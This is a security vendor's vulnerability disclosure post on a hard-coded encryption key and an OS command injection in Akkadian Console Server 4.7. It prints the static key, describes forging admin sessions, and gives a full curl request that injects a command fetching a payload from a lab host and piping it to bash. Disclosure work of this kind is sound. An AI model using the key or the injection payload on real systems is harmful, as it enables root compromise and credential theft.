These issues were discovered by Jonathan Peterson (@deadjakk), Cale Black, William Vu, and Adam Cammack, all of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The following were observed and tested on the Linux build of the Akkadian Console Server, version 4.7.0 (build 1f7ad4b) (date of creation: Feb 2 2021 per naming convention).

CVE-2021-35467: Akkadian Console Server Hard-Coded Encryption Key

Using DnSpy to decompile the bytecode of ‘acoserver.dll’ on the Akkadian Console virtual appliance, Rapid7 researchers identified that the Akkadian Console was using a static encryption key, “0c8584b9-020b-4db4-9247-22dd329d53d7”, for encryption and decryption of sensitive data. Specifically, researchers observed at least the following data encrypted using this hardcoded string:

  • User sessions (the most critical of the set, as outlined below)
  • FTP Passwords
  • LDAP credentials
  • SMTP credentials
  • Miscellaneous service credentials

The string constant that is used to encrypt/decrypt this data is hard-coded into the ‘primary’ C# library. So anyone that knows the string, or can learn the string by interrogating a shipping version of  ‘acoserver.dll’ of the server, is able to decrypt and recover these values.

In addition to being able to recover the saved credentials of various services, Rapid7 researchers were able to write encrypted user sessions for the Akkadian Console management portal with arbitrary data, granting access to administrative functionality of the application.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
The hardcoded key as shown in the decompiled code of the ACO server

The TokenService of acoserver.dll uses a hardcoded string to encrypt and decrypt user session information, as well as other data in the application that uses the ‘Encrypt’ method.

As shown in the function below, the application makes use of an ECB cipher, as well as PKCS7 padding to decrypt (and encrypt) this sensitive data.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Decrypt function present in acoserver.dll viewed with DnSpy

The image below shows an encrypted and decrypted version of an ‘Authorization’ header displaying possible variables available for manipulation. Using a short python script, one is able to create a session token with arbitrary values and then use it to connect to the Akkadian web console as an authenticated user.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Successfully decrypted a session generated by the application

Using the decrypted values of a session token, a ‘custom’ token can be created, substituting whatever values we want with a recent timestamp to successfully authenticate to the web portal.

The figure below shows this technique being used to issue a request to a restricted web endpoint that responds with the encrypted passwords of the user account. Since the same password is used to encrypt most things in the application (sessions, saved passwords for FTP, backups, LDAP, etc.), we can decrypt the encrypted passwords sent back in the response by certain portions of the application:

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Using the same private key to decrypt the encrypted admin password returned by the application

This vulnerability can be used with the next vulnerability, CVE-2021-35468, to achieve remote command execution.

CVE-2021-35468: Akkadian Console Server OS Command Injection

The Akkadian Console application provides SSL certificate generation. See the corresponding web form in the screenshot below:

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
The web functionality associated with the vulnerable endpoint

The way the application generates these certificates is by issuing a system command using  ‘/bin/bash’ to run an unsanitized ‘openssl’ command constructed from the parameters of the user’s request.

The screenshot below shows this portion of the code as it exists within the decompiled ‘acoserver.dll’.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Vulnerable method as seen from DnSpy

Side Note: In newer versions (likely 4.7+), this “Authorization” header is actually validated. In older versions of the Akkadian Console, this API endpoint does not appear to actually enforce authorization and instead only checks for the presence of the “Authorization” header. Therefore in these older, affected versions, this endpoint and the related vulnerability could be accessed directly without the crafting of the header using CVE-2021-35467. Exact affected versions have not been researched.

The below curl command will cause the Akkadian Console server to itself run its own curl command (in the Organization field) and pipe the results to bash.

curl -i -s -k -X $'POST' \
   -H $'Host: 192.168.200.216' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Authorization: <OMITTED>' -H $'Content-Type: application/json' -H $'Content-Length: 231' \
   --data-binary $'{\"AlternativeNames\": [\"assdf.com\", \"asdf.com\"], \"CommonName\": \"mydomano.com\", \"Country\": \"US\", \"State\": \";;;;;`\", \"City\": \";;;``;;`\", \"Organization\": \";;;`curl 192.168.200.1/payload|bash`;;`\", \"OrganizationUnit\": \";;\", \"Email\": \"\"}' \
   $'https://192.168.200.216/api/acoweb/generateCertificate'

Once this is received by ACO, the named curl payload is executed, and a shell is spawned, but any operating system command can be executed.

Impact

CVE-2021-35467, by itself, can be exploited to allow an unauthenticated user administrative access to the application. Given that this device supports LDAP-related functionality, an attacker could then leverage this access to pivot to other assets in the organization via Active Directory via stored LDAP accounts.

CVE-2021-35468 could allow any authenticated user to execute operating system level commands with root privileges.

By combining CVE-2021-35467 and CVE-2021-35468, an unauthenticated user can first establish themselves as an authenticated user by crafting an arbitrary session, then execute commands on ACO’s host operating system as root. From there, the attacker can install any malicious software of their choice on the affected device.

Remediation

Users of Akkadian Console should update to 4.9, which has addressed these issues. In the absence of an upgrade, users of Akkadian Console version 4.7 or older should only expose the web interface to trusted networks — notably, not the internet.

Disclosure Timeline

  • April, 2021: Discovery by Jonathan Peterson and friends at Rapid7
  • Wed, Jun 16, 2021: Initial disclosure to the vendor
  • Wed, Jun 23, 2021: Updated details disclosed to the vendor
  • Tue, Jul 13, 2021: Vendor indicated that version 4.9 fixed the issues
  • Tue, Aug 3, 2021: Vendor provided a link to release notes for 4.9
  • Tue, Sep 7, 2021: Disclosure published

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.